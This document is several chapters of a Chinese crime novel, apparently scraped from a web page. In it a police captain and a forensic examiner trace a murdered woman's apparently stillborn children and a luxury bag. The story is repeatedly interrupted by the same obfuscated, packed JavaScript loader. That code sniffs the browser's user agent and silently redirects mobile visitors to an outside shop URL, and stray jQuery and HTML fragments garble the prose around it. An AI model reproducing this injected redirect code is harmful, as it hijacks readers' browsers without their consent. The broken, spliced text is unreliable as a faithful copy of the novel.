不久后,福利院的工作人员送来了李虹给孩子们的画和玩具。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15052300|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间紧张,宋隐来不及细看,于是拍照做了留存,打算回去之后再仔细研究。 再问了几个问题,连潮与宋隐两人作别汪丽春,在福利院内四处查看了一番,找了几个工作人员、以及几个孩子做了必要的沟通,这便离开了。 时间临近中午,两人上车后,刚驶出不远,猝不及防地下起了大暴雨。 伴随着电闪雷鸣,偌大的雨点噼里啪啦地不断砸在挡风玻璃上。 深秋时节,这样的天气堪称反常,沿路又都是泥泞的山间小道,基于安全考虑,连潮决定暂且找个地方避雨,顺便把午饭解决 。 不久后,瞥一眼前方的标识,连潮打着方向盘,将车拐向路边一家能提供食宿的招待所。 英菲尼迪的轮胎顿时重重碾过积水的泥潭,溅起半人高的水泥点。 不久之后,招待所一楼,小餐馆内。 一餐便饭吃完,雨势反而更急。 连潮放下碗筷走至门口,又回头看向宋隐道:“我去开两间房,你休息会儿吧。等雨小些我们再走。” 宋隐握着筷子,好半天却都没吃一口菜。 雨水顺着生锈的窗框往下淌,他苍白如纸的脸色微微泛着青。 “担心招待所不干净?” 问话的时候,连潮倚在掉漆的门框前。 他身材高大,往门口那么一站,像是能把雷鸣风雨全都隔绝在外。 宋隐抬眸看他一眼,目光闪烁了一下,随即摇摇头道:“我只是不喜欢下雨天。” 似乎意识到了什么,连潮的一双眉峰微微压紧。 宋隐问他:“连队有没有听说过,淮县曾经有一起轰动全国的连环杀人案? “由于凶手总是在雨夜杀人,媒体给他取了个很有噱头的外号,‘雨夜杀人魔’。” “宋隐,”连潮沉甸甸的目光压了过来,“我看过你的履历,我知道你的父亲,就是被这个凶手所杀。是不是一直以来,你都没把这事儿放下?” 宋隐唇角浮起些许笑意,随着垂眸的动作,长长的睫毛却在眼底投出了些许阴翳。 他的双目逐渐放空,像是陷入了久远前的回忆。 “我还记得,那天放学的时候,下了很大的雨。我妈加班,我爸又向来不管我,我干脆去了学校后面的网吧,一直待到晚上11点,等雨小了,才走路回家。 “刚进门,我就闻到了血腥味,然后我打开灯,看到了我爸的尸体…… “大概是因为五感记忆之间存在联觉效应,自那以后,每到下雨天,我就总会错觉自己闻到了血腥味。 “我对父亲其实没什么感情,谈不上放不放下的,只是我不喜欢血腥味,也就连带着不喜欢雨天。” 不喜欢血腥味。 那怎么还选择当法医? 宋隐像是知道连潮在想什么,随口道:“寻常的血腥味,跟那晚我闻到的完全不同。所以领导你放心,这事儿不影响我的职业规划。” 事实上,归根结底,自己是因为讨厌父亲,所以才会讨厌他血的味道。 所以更准确的说法应该是—— 每次下雨,他都会错觉闻到了父亲血的味道,所以他讨厌雨天。 这些话,宋隐并没有说出口。 他的双目缓缓聚焦,随即抬起头,若有所思地看向连潮,忽然话锋一转,淡淡笑着道:“我记得很清楚,我父亲被杀这件事,发生在8年前的2月25日。 “说起来,连队还记得吗—— “8年前的2月25日那天,你在做什么?” 11.Chapter11 “8年前的2月25日——? “时间太久了,我还真不记得我具体做了些什么。不过我那个时候大三,肯定是在学校的。” 连潮似乎没有察觉宋隐问话背后的玄机。 想到什么后,他的一双眉峰往下压,面部下颌线陡然锋利,表情呈现出些许凝重。 不过他表情很快就恢复如常,锐利的五官看起来没有丝毫破绽。 宋隐倒是猜到些什么—— 8年前,连潮的父母也去世了,死因是车祸。 连潮的父亲连丘泰,是红遍大江南北的明星。 母亲汪澄芝,更是被无数女性视为新时代榜样的知名外交官。 当初二人的去世引来无数人扼腕叹息,媒体蜂拥报道,相关新闻铺天盖地沸沸扬扬,让人至今印象深刻。 宋隐低头吃了一口菜,像是什么都没察觉到般,很随意地开口道:“没有对厨师不礼貌的意思,不过——” 他用筷子一指旁边菜汤里的可疑油花,再瞧向连潮位置上那吃得干干净净,一粒米都没剩下的空碗。 “你这样出身的人,居然能吃得下的这里东西,还能睡得下这里的床……” 雨还在继续下着。 淋漓的雨声中,连潮将目光落在宋隐身上片刻,随即淡淡一笑,转身走了:“看来你对我有成见。” 宋隐没说话,默默注视着连潮去往前台,不久后两人一起上二楼,分别进了两个挨在一起的房间。 宋隐原本确实挺困,然而当坐上床,将头枕上床头,睡意却在不知不觉间消失了。 闭上眼,窗外的雨声听起来反倒更剧烈,落进脑海的时候,全都变成了血红色。 宋隐当即睁开眼,感到胃有些不舒服。 一阵又一阵的酸水正在向上翻涌。 他需要大量的碱性的苏打水来压制这股酸意,可眼下身边并没有他想要的东西。 宋隐不由皱着眉下床,有些烦躁地来回走了几步。 大概简陋招待所的隔音效果实在太差。 这居然引来了连潮过来敲门。 “宋隐?没休息么?” 微微呼出一口气,宋隐前去开了门。 他的状态不算好,开门的时候,右手紧紧扣着门框,额前的碎发被汗浸湿,脸像水洗了一样白,脖颈绷出明显的青色血管。 他看起来苍白、脆弱、病态,那双漂亮眼睛显得愈发心不在焉。 “有什么事儿吗?” 宋隐声音沙哑地问。 他像是强迫症发作般,手指神经质地在门框上又扣了好几下,这才后知后觉侧过身体,让连潮走进屋中。 “蒋民他们查到了些东西。听见你这边有动静,我想着你没睡,就过来找你聊聊。” 连潮把手里的笔记本电脑,往又窄又破的方桌上一搁,目光扫过宋隐下意识按住腹部的手。 “怎么了?胃疼?是不是中午吃的东西有问题?” “没事。我只是……单纯想喝苏打水了。” 宋隐摇摇头,后退半步,坐在了床边,下意识地将手指扣紧床单,指关节隐隐泛着青白。 只是想喝苏打水。 又不是毒|瘾犯了。 何至于此? 面前这位做事严谨、一丝不苟、而又个性古板的新领导……会这么想吗? 宋隐却是不料,连潮只是淡淡说出一句:“知道了。你等等。我去给你拿。” 宋隐蹙起眉来。“这种地方哪有苏打水?更何况我喝的那个牌子——” “早上接你之前,我去过一趟便利店,看到你喝过的那个牌子,就顺便买了一箱,这会儿就在后备厢里。” 语毕,连潮径直朝屋外走去。 宋隐叫住他。“这雨……” 连潮言简意赅:“我有伞。” 不久后,宋隐透过玻璃窗望向楼下。 连潮正打着伞走向那辆英菲尼迪,高大的身影被窗户上断裂的雨线切得很模糊。 宋隐微微歪了一下头。 他想起来,自己在连潮面前喝苏打水,其实只有开案情会议那一次。 可连潮居然就记住了。 不愧是观察力和记忆力都极强的刑侦大队长。 片刻之后,连潮抱着一箱苏打水上楼,把伞放在门外走廊后进了屋。 宋隐给他开了门,顺便递上一包纸巾。 “谢谢。”连潮放下纸箱,接过纸巾,擦了一把头发、脸上、肩上的雨水,再问宋隐,“够喝吗?” 听到这话,宋隐有些吃惊。 虽然这箱子很小,但看规格也放着整整12罐苏打水。 唔……连潮觉得我这么能喝吗? 吃惊归吃惊,宋隐一把抽出随身带着的袖珍水果刀,利落干脆地一刀切开绑住纸箱的胶带,再接连取出两罐苏打水,很迅速地把它们接连喝光了。 宋隐烦躁的心情很快得到平复。 紧绷的身体也随之放松下来。 坐在一张破板凳上,他拉开第三罐苏打水的易拉罐,看向连潮:“我很古怪?” 连潮摇头:“不至于。应该只是轻微的强迫症。” 宋隐点点头。 连潮问他:“有看过医生,或者找过心理咨询吗?” “嗯。问题不严重。不需要吃药。” “下次有类似的情况,可以提前告诉我。” “好。知道了。”宋隐捏了一下易拉罐,“对了,蒋民他们查到什么了?” “确定身体现在没问题了?” “没问题。可以工作。” “好。” 连潮打开电脑的记事簿,接连敲下几段字: 《1018金沙河抛尸案——1020会议纪要》 时间:10月20日 会议地点:江澜省凤县小石村幸福招待所。 参会人员:连潮、宋隐 啧。在老破小的招待所里沟通一下案情,居然也需要会议纪要? 瞥见这一幕,宋隐当即在心里下了结论—— 连潮分明也有强迫症,也许还不比自己轻。 五年前,有23个孩子死在了金沙河事故里。 蒋民和乐小冉上午要到了他们的出生证明,并没有在登记着母亲姓名的地方,看到“李虹”二字。 其后,他们又要到了金悦幼儿园的学籍档案,经比对,档案记载着的父母信息,与孩子们的出生证明完全一致,没有任何异常。 为求稳妥,蒋、乐二人,接下来会根据查到的遇难儿童父母的信息,去做进一步核实,包括他们的长相、工作单位、家庭住址等,以排除任何造假的可能。 但查到这一步,李虹孩子就读于金悦幼儿园、死于五年前金沙河事故的可能性,已经变得非常小。 凶手杀死李虹,是为了给孩子们报仇,这个动机似乎也就无法成立了。 在宋隐看来,最新的调查结果,几乎抹杀了最后一丝,李虹的孩子们存在于这个世界的可能。 查不到任何跟她孩子有关的出生证明、户籍…… 这些孩子就像从没在这世上出现过。 ——这一切到底是怎么回事? 有的时候,破案就像是在和凶手对弈,须得步步谨慎才行,否则稍有不慎,就会满盘皆输。 不过宋隐觉得这次的棋盘很不对劲,就好像被人为地干扰了,他们似乎正在被带入陷阱。 “宋隐,想到什么了吗?” 连潮开口打断宋隐的沉思。 “也没什么。干脆先不管那起事故,就从李虹本人入手调查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15056093|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋隐拿出相机递给连潮。 “一起看看李虹给孩子们画的肖像画?” 宋隐相机里的照片,都是上午在福利院拍的。 等待照片导出期间,他问连潮:“你也觉得,李虹确实不知道自己孩子的长相?” 连潮点头:“那幅画下面有香炉,一定是祭拜用的。李虹是个迷信的人。她怎么会祭拜几个脸都没有的婴儿?只能是因为,她实在不知道他们的样子。也许对她来说,拜没有脸的孩子,总比拜错了要好。” 顿了顿,连潮又道:“李虹给福利院孩子画的肖像很写实,抓人物特征很准,水平很高。 “所以,就算她产后立刻和孩子们分开,只要看过一眼,按理也能画出来才对。” 话到这里,连潮在会议纪要上敲下两个推论: “1、李虹从来没见过自己的孩子,一眼都没有。” “2、她的孩子根本没有在这世界上存在过。” 如果这两个推论全都成立…… 李虹身上究竟发生过什么可怕的故事? 连潮双手离开键盘,向宋隐再次做了确认:“流产的情况,完全可以排除,是吗?” 宋隐点头:“尸体耻骨联合面的磨损情况、以及□□侧切留下的伤疤,绝不是简单的流产造成的。” 如果不是普通的流产,那么…… 连潮深邃的五官当即变得严肃。 他想到了一个词——代理孕|母。 如果李虹做过代|孕,是有可能没见过孩子的,因为中介或者客户不让她见。 她全款买房买车的钱来自何处,为什么查不到相关的出生证明、户籍……这些疑点都能得到解释。 不过很快连潮就否认了这种可能。 他想到了李虹家里那幅具有祭拜意义的画。 如果李虹只是做代孕,她生下的孩子们并没有死,哪里用得着烧香祭拜? 但如果不是代|孕,究竟在什么样的情况下,李虹连续生产过多个孩子,却没看过他们一眼? 窗外的雨还在永无止境地下着。 房间一时无人说话,只有密密麻麻的雨声。 宋隐侧过头看向那些雨点。 不知不觉间,好像又闻到了血腥味。 于是他再打开一罐苏打水,尝试着借碱性的苦味,把胃里那股酸涩压下去。 随即他想到的,是在福利院看到的李虹亲笔写下的“申请理由”—— “我的肚子不祥。” “孩子们会带来厄运。” “它会不幸,我也会不幸。” …… 胃里的酸涩再度上涌,宋隐把整罐苏打水喝下去,随后双目向上抬,像是看向了虚空。 “我忽然想到一个可能—— “李虹的孩子,在生下来之前,就已经死了。” 连潮霎时皱眉:“如果是尚未成型的胎儿……” 宋隐打断他道:“所以胎儿不是尚未成型,而是长到快要临盆的时候,忽然死了,再予以引产。” 连潮的眉头皱得更紧。他的脸变得无比严肃。 “这种事发生一次,是意外。可如果多次发生,就不是意外。而是刻意为之了。 “你的意思是,李虹多次人为地,杀死了自己即将临盆的婴儿,然后再进行引产?为什么?” “我不知道为什么。” 宋隐道,“但想要同时满足你写下的这两个推论,还要符合尸检结果……我只能想到这种可能—— “李虹故意怀孕,等胎儿快临盆时,想办法把它杀死,再引产。 “当然,也可能是在分娩期间,接生的医生通过某种手段,将胎儿在离开母体的瞬间,直接将其杀死。 “无论如何,李虹本人一定知情。” 12.Chapter12 李虹从来没见过自己的孩子。 她的孩子根本没有在这世界上存在过。 如果这两个推论同时成立,宋隐思来想去,只有她生下的都是死胎这一种可能。 李虹下身有侧切伤疤,下腹却无剖腹产痕迹。 这说明她每次都是在清醒的状态下顺产的。 这种情况下,倘若李虹生下的是活婴,即便产后身体极度疲惫,基于母性本能,在听到婴儿哭声后,她大概率也会看自己孩子一眼。 可如果生下来的是不会动、不会哭、没有任何动静的死胎,且在离开母体后立刻就被人悄然抱走,那么李虹很可能根本就没机会将它瞧上一眼,从而无从得知它的样貌。 窗外雨势渐小。 连潮和宋隐默契地陷入了长久的沉默。 直到所有照片拷贝完毕,两人再一起看向李虹遇害前,给福利院的孩子们送来的那些肖像画。 确如培训机构老师所说,李虹的绘画天赋很高,她能把不同孩子的特质抓得很准,能让人一眼分清谁是谁,甚至通过画像能看出他们的性格。 画上的孩子们全都在笑,李虹试图传达出的情绪,应该是开心、欢快。 然而不知为何,连潮隐隐感觉了些许不舒服,却又说不清这种感觉到底从何而来。 把每张照片浏览了一遍后,他看向宋隐问:“画上的孩子都在笑,我却觉得好像有点压抑。 “宋老师学过心理学,知道这是为什么吗?” 宋隐侧眸对上连潮的目光,忽然问:“微信表情库里,有个微笑脸的表情,却总是被人拿来用作‘呵呵’嘲讽别人,连队你知道背后的原因吗?” 连潮皱着眉,似乎有些没理解。“什么‘呵呵’?” 宋隐:“…………” 顿了一下,宋隐拿出手机,发了一个微笑的表情给连潮,解释道:“这个表情,常被年轻人用来表达嘲讽、不屑、敷衍这种负面情绪。” 连潮眉梢往上微挑,表情显得有些惊讶。 “不会吧?从前在北京,我老领导每发一句话,都会加一次这个表情。” 宋隐面无表情一点头。 “所以我刚才话里加了个前缀,‘年轻人’。” 连潮眉峰压紧,看起来颇为凝重。 “可是我也常用这个表情。” 宋隐语重心长。“那以后就不要用了。领导你也要试着融入我们年轻人的世界呀。” 连潮:“…………” “你看,”宋隐正色道,“这个表情,之所以会让人品出嘲讽等负面意思,是因为它的笑意没达眼底。 “它嘴角上扬,眼睛却圆圆的,看起来没有丝毫笑意。眼睛和嘴,五官的这两个部位,传递出来的情绪完全不同,这种矛盾,或者说不和谐,就赋予了这个表情特殊的含义。” 连潮当即明白了宋隐的意思。 那些肖像画上,每个孩子的嘴角都是扬起来的,可他们的眼睛却没有变弯,而都是正常睁大的状态。 连潮当即从第一张肖像画重新开了起来。 这一回他刻意用手捂住了画中孩子的嘴。 让人有些后背发凉的事情发生了—— 如果捂住嘴,光看孩子们的眼睛和鼻梁,会发现他们不仅笑意全无,眉宇间甚至隐隐透出了一股戾气、以及一丝若有若无的恐惧。 一旁,宋隐再道:“另外,你看这些画上不止有人,也有场所。这些孩子不是被困在围墙中,就是置身于砖石堆砌的房子里,只能透过围墙缝隙,或者房屋的窗户,把脸露出来。 “他们处在相对封闭的场所里,就像是被囚禁了起来,这也是看画人会感觉到压抑的原因。” 果然如此。 连潮把所有照片再次浏览完毕,听见宋隐道:“我觉得这是李虹内心的投射。 “潜意识里,她怕孩子。用围墙和房屋把孩子们关起来,她才会觉得安全。 “所以,事实真相,很可能和我们的推论一样——李虹曾多次杀死孩子,生出死胎。 “她心怀愧疚,在引产完成后,根本不敢睁开眼睛看他们的脸,也就不知道他们的长相。 “这种愧疚后来化作了畏惧,她可能害怕某种因果报复,所以画下了无脸的婴儿画像,并在家里祭拜。 “也正因为畏惧,她才会画出这种状态的肖像画。 “其实,既然她怕孩子,也许根本不是真心想收养一个。这只是她弥补罪孽的方式。领养申请表上,她填的那些领养理由,都是她的真实想法。” 话到这里,宋隐把板凳拖到连潮身边,拿过他手里的鼠标,重新打开了一张照片。 这张照片,照的是李虹遇害前送到福利院的玩具。 “这个品牌是专门生产玩具的,李虹买的这个系列的,我见一个朋友搜集过。” 宋隐说的“朋友”,其实是他的义弟姜南祺。 “品牌的完整系列包括羊、狼、狮子、老虎、猫、狗。李虹挑选的,不是羊就是猫,全都是比较温和的。 “这也很能说明问题,潜意识里,她不希望那些孩子变成攻击性强的狼、狮子,或者老虎。” · 薄暮时分,雨后的天空残留着半抹黛青色。 连潮载上宋隐,开着英菲尼迪穿过曲折的山区小路,驶向通往市区的高速。 似乎是为了弥补中午那顿简陋的便饭,回到市区后,连潮带宋隐去了一家相当高级的西餐厅。 淮市相对偏远,没法和一线城市相比。 这样的餐厅在本市,算得上是数一数二了。 连潮要了个包间。 水晶吊灯下,精致的骨瓷餐具泛着碎钻般的光泽。 在这样环境中用餐的连潮,举止优雅,气质矜贵,看得出从小就受过专业的用餐礼仪训练。 用餐间隙,宋隐抬眸瞥到这一幕,眼里却是悄然多了几分探究。 他想起了中午那间招待所里,连潮吃着简陋饭菜时的状态,那时的他似乎和现在并没有什么不同。 就好像他这个人既可以阳春白雪,也可以下里巴人,无论处在什么样的环境里,都不违和。 连潮拿起餐巾按了下嘴唇,看向宋隐:“有什么问题吗?” 宋隐随口问道:“领导,这一餐的标准,是不是超出差补预算了?” “是。”连潮淡淡道,“不过不要紧,算我个人头上。想加什么菜,尽管点。” “不用,已经吃饱了。” “这就饱了?” “嗯。已经吃很多了。你还饿吗?” “……也差不多了。” 一整天下来,两人说了很多话,都有些累了。 大概是因为这样,这一餐两人吃得很沉默。 一餐毕了,连潮送宋隐回家。 快到尚御坊小区的时候,连潮这才开口道:“到家后早点休息吧。今天辛苦了。” 宋隐问他:“你呢?还回办公室吗?” 连潮确实要回市局。 他刚来淮市,房子倒是租好了,不过家具还没买齐,人也就还没搬过去,目前暂时住在市局宿舍。 “稍微处理点工作。反正我住得近。” 听罢,宋隐回得很客气。“那领导你更辛苦。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15060538|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 汽车仪表盘透出的些许冷光,将连潮的面部线条勾勒得冷硬刻板。 冷不防听到宋隐这话,他的嘴角倒是微微上扬,看起来有些似笑非笑。 不久后,连潮一脚刹车,将英菲尼迪稳稳停在小区门口,而后侧眸看向副驾驶方向。“宋隐,等等。” 宋隐刚解开安全带,闻言便松开车门把手,回过头看向连潮。 “领导还有什么指示?” 连潮随手关掉了汽车发动机,仪表盘顿时暗下去,他的脸也沉在了夜色中,叫人看不清表情。 盯着宋隐的眼睛,他问:“严有庭那事儿,我今天早上那么说,你有情绪吗?” “当领导可真不容易。” 宋隐眼尾扬起淡淡的笑意,“下属犯了错,不仅得批评教育,还得担心他的情绪。” 皮革座椅发出细微响动,那是连潮朝副驾驶座方向略俯下身。 他的肩臂线条连同车身共同撑起了凌厉的夹角,为宋隐投去了极具压迫感的阴影。 “宋隐,有任何想法,可以直接告诉我。” 宋隐眼尾笑意更浓。“你是不是认为,我这种人不服管,以后可能会闯出大祸,给你带来麻烦?” 连潮一双眉峰压低,面色严厉未减。 不过大概见宋隐摆出了愿意沟通的姿态,他的身体退回到了原来的位置,绷紧的肩线随即放松些许。 “我担心的不是麻烦。” “那是什么?” 沉默了一瞬,连潮深深看向宋隐,说出一句:“明珠自毁,未免可惜。” 宋隐正过头,看向挡风玻璃外的一棵梧桐。 路灯斜着切过来,把他的脸照出明暗两色。他整个人像是被柔软绸缎裹住的锋利薄刃,暂时看起来没有攻击性,只因为他收敛了锋芒。 半晌后,他侧过头来,对上连潮的目光道:“你多虑了,我没有情绪,也没有任何异议。” “真的?” “嗯,确实是我做错事。该处分就处分。” 连潮眉梢微微一挑。 宋隐再道:“我没有骗你,其实我喜欢被人管教。” 此时宋隐的表情,似有着前有未有的专注与认真。 连潮有些意外,正欲探究他这话背后的意思。 然而下一刻,宋隐朝他微微一点头,径直打开车门下车了。 “连队辛苦,明天见。” 宋隐踩着一地的梧桐落叶走向小区门口。 地上枯叶围绕着他的脚飘起又再落下。 世界需要秩序,否则会失控。 宋隐想,自己也是一样的。 · 离开宋隐居住的小区后,连潮回了办公室,把案情疑点、最新进展做了梳理,又做了一些后续的组织架构优化、人员调整等常规工作, 回到宿舍的时候,已是晚上10点半,连潮洗完澡正要睡觉,忽然想到了宋隐不久前说的那句—— “其实我喜欢被人管教。” 是“喜欢”被人管教。 不是“需要”被人管教。 宋隐这个词,其实用得有些微妙。 半晌后,连潮去到客厅打开电脑,搜索起8年前淮县有关“雨夜杀人魔”的新闻。 不久后,他搜到了这样一条—— “死者宋某有一个年仅17岁的儿子,成绩非常优秀…… “据邻居们反馈,死者生前多次家暴其妻和儿子,他们并不对他的死报以同情……” 家暴? 宋隐被他父亲家暴过?! ——这会是他帮鲍燕算计严有庭的原因吗? 13.Chapter13 翌日。淮市市局刑侦大队。 连潮踩着晨光踏进公共办公区,昨晚他睡得很晚,一张脸倒是依然英俊立挺,看不出丝毫倦意。 他迅速扫了一眼办公室内的情况,只见—— 蒋民正趴在桌上打盹,甚至发出了些许鼾声,旁边的空茶杯满是茶渍,不知道多久没洗了。 乐小冉腮帮子鼓鼓的,正在啃包子,眼神呈现出了清晰的困顿和迷茫,像是还在梦里。 至于其他人,也基本都眼神迷离,头脑发懵,俨然还没适应新领导的工作强度。 最近两天他们查出来的东西,放在以前,恐怕要用上两个星期。 连潮到了好一会儿之后,正在犯困的、后知后觉的众人总算反应过来,纷纷道:“连队早!”“领导好!”…… 连潮面无表情,屈指往办公室大门上重重一叩。 “早,都准备一下,五分钟之后开晨会。” 这句话如炸|弹般唤醒了办公区的死寂。 乐小冉瞪圆眼睛,把塑料袋里最后一个包子塞进嘴里,蒋民抹了把脸,手忙脚乱地找着笔记本—— 几乎所有人都行动了起来。 那几个老人除外。 五分钟后,连潮准时重新踏进公共办公区。 新人们立刻围着他站立。 几个老人则有些姗姗来迟。 连潮并不理会迟到的,简明扼要地把目前最新的调查结果,以及相关推论同步给了众人。 他表示,最近两日,侦查员们已对李虹的街坊邻居、同事、聘请她的雇主等相关人员,做了不在场证明方面的排查,初步排除了他们的嫌疑。 因此,接下来警方的工作重心,还是在挖掘李虹来淮市之前的经历上,她为什么要死胎引产、孩子们的父亲是谁,搞清楚这些故事,应该对破案有重要意义。 关于这项调查,连潮交给了蒋民、乐小冉来主导。 至于胡大庆领导的小组,则需继续负责调查小区内部及周边的监控,争取能发现疑似凶手的身影。 给众人布置完任务,简短高效的晨会便结束了,连潮回办公室处理起常规工作。 上午10点半,手机一震,他收到一条消息: 【连队,要不要出去遛遛弯,抽根烟?关于案子,我有些想法,顺便和你聊聊】 信息是胡大庆发来的。 他应该是发现了什么线索,不过却不想当着王永昌的面,招摇过市地穿过公共办公区来找自己。 估计是怕在自家师父面前,落个“背叛者”、“迫不及待在新领导面前挣表现”的罪名。 连潮放下手机,倒是直接起身走到门口,一把推开玻璃门,朝着外面公共办公区方向沉声说了句: “胡大庆,有新发现?” 胡大庆:“…………” 暗自瞥了一眼王永昌的表情,胡大庆硬着头皮起身走向连潮的办公室。 这一路上他都在腹诽—— 这位新来的年轻领导确实雷厉风行、能力出众,可也太不把人情世故当回事了…… 他以前在帝都也是这种行事作风?所以他就是得罪人了吧?怪不得会被贬到这里来。 “把门带上,请坐。” 胡大庆进屋后,连潮说出这么一句,随即对他道:“说说吧,查到什么了。” 关上门,拖开椅子坐下的胡大庆:“……” 连潮瞥他一眼,再道:“如果能尽快破案,每个深度参与了案件的人都会受到表彰。以后月度、半年度、年度,也还有评优。这些你都不打算要?” 胡大庆很快明白了连潮的意思。 自己那么努力破案,一来是因为理想与热血未灭,想为死者讨回公道,二来当然是为了博个好前程。 他不能因为忌惮王永昌,就这般畏首畏尾。 何况,其实从接下连潮安排的任务起,他就已经得罪了王永昌,现在再纠结这些,已经毫无意义。 胡大庆尽快调整好情绪后,清了清嗓子道: “连队,抱歉,这回的凶手实在太狗了,我们依然没能在监控里找到疑似是他的人…… “不过我昨天转变了调查思路,尝试着从李虹身上寻找其他突破口,还真有了重要发现!” 李虹负责照顾一名患有老年痴呆的老人。 老人所在的家庭非常有钱,在当地有一家效益非常好的家族企业,旗下又有好几个子公司,资产总额在整个江澜省排得上前三。 他住在位于城郊的豪华别墅区,离市区有一定距离,因此李虹平时都是开车上下班。 然而根据胡大庆的调查,案发四天前,也就是10月14日,李虹应该是难得休了一天假,她没有在大清早开车出门,而是宅在家里休息、画画。 下午,她拎着一个造型别致的箱子,步行外出过一次。 经过调查,胡大庆发现她去的是育林小区一公里外的一家大型购物中心。 其后,胡大庆去到该购物中心调取了监控,昨晚熬夜研究后发现,李虹去的是一家奢侈品二手交易商店。 原来她拎在手里的那个造型别致的箱子里,放着一款价值不菲的奢侈品包。 李虹去那家商店,为的是给奢侈品包询价。 她特意找了个箱子装包,当然是怕把它磕到碰到。 “连队,我组里的小王一大早就赶去那家二手商店询问情况了,好家伙,原来李虹手里的那款包,是限量版,贵得离谱,市价要两百来万! “店老板很懂行,她帮忙核实过了,李虹手里的那款,肯定是从国内买的,而不是国外代购。 “小王回局里,把这个情况告诉我后,我第一时间联系了该品牌在国内的总公司。 “经确认,那款包,国内只售出了12个,并且客户名单上,没有李虹的名字! “目前咱们没有查到李虹用过假名儿什么的,不出意外的话,这包应该是其他人买来送给她的!而这个人……就在那12个人之中!” 胡大庆虽属于“老人”,在一定程度上也受到了不良风气的影响,但好在根儿上还是正的。 连潮颇为欣慰,上前拍拍他的肩,随即拉开玻璃门,叫来蒋民、乐小冉等人,向他们分享了这条线索。 紧接着,连潮与大家迅速展开行动,兵分几路,分别尝试着与这 12 位限量款包的购买者取得联系。 这项工作进展得还算顺利,下午2点左右,众人已与12位购买者全部完成了沟通。 其中有11个人,都能清晰地说明自己手中这款包的去向,有的是自己购买使用,有的则是帮朋友预订。 并且他们都表示可以提供相关的证据。 只有一个人反馈,她的这款包目前不在自己身边。 那个人是由乐小冉负责沟通的。 电话弗一接通,一个尖锐泼辣、而又透着几分不耐烦的女声,就顺着听筒传了出来: “淮市?淮市那旮沓的警察找我干什么? “花房子包?哦,是,我是买过一个。红蜥蜴皮的嘛,上面还有好大一颗血钻呢。诶等等别动,这牌我要碰。等我做把大的——” 听筒里响起“啪啪”几下麻将碰撞声。 紧接着女人也不知道想到了什么,发出了十分尖利的笑声:“哎哟哈哈,我知道了,那女的是不是出去卖,被你们警察给逮住了?大快人心啊! “诶我说,那花房子包,算是赃物吧,得还给我吧? “——慢着慢着,那牌我要杠,哎哟喂我今天的运气可是好得不了啊!屁咧,我才不会杠上开花! “诶对了,你们是哪儿的警察来着?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15063776|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦哦,淮市……对,淮市,我想起来了。我打完这把麻将,就订票去你们淮市拿包,哈! “诶拜托你们啊,帮我把那包消消毒,不然沾了那女人的味道,恶心吧唧的——诶,我再碰一个!” “妈的,当初就是这个骚|货勾引的我老公! “我老公也是好笑,偷我买的包去讨好情人?!狗男女,两个一起挨雷劈吧! “什……什么?她……她死了?!” 听筒那头的女人似乎倒吸了一口凉气。 不过这不妨碍她紧接着道:“自摸,糊了糊了,来,小李,你帮我算算番,我接个电话——” 女人去了一个相对安静的地方。 麻将碰撞声变得遥远,女人的声音变得正经了许多:“警察小姐姐,这可和我没有关系啊!也一定和我老公没关系! “他最近收心了,我们每天黏在一起呢!他可是个老实人,怎么可能杀人呢! “真的呀警察同志,我老公胆子小的不得了,是个怂包软蛋,当年跟我回老家,让他杀只鸡,他都抱着马桶吐了半天呢!他不可能杀人的呀!” 前一秒还在控诉老公出轨,诅咒他遭雷劈,下一秒居然口口声声说他是老实人?! 这女人是什么究极恋爱脑? 她是不是当她老公是抽卡游戏抽来的,属性可以随机刷新的那种? 乐小冉翻了个大白眼,勉强控制住情绪问: “请你好好配合调查。关于那个女人,你知道些什么?她叫什么名字?” 女人开始一问三不知起来。 乐小冉只得要走了她丈夫的电话。 哪知对方拒不接听不说,后来干脆直接关了机。 那对夫妻都在帝都。 那里算是连潮再熟悉不过的地方。 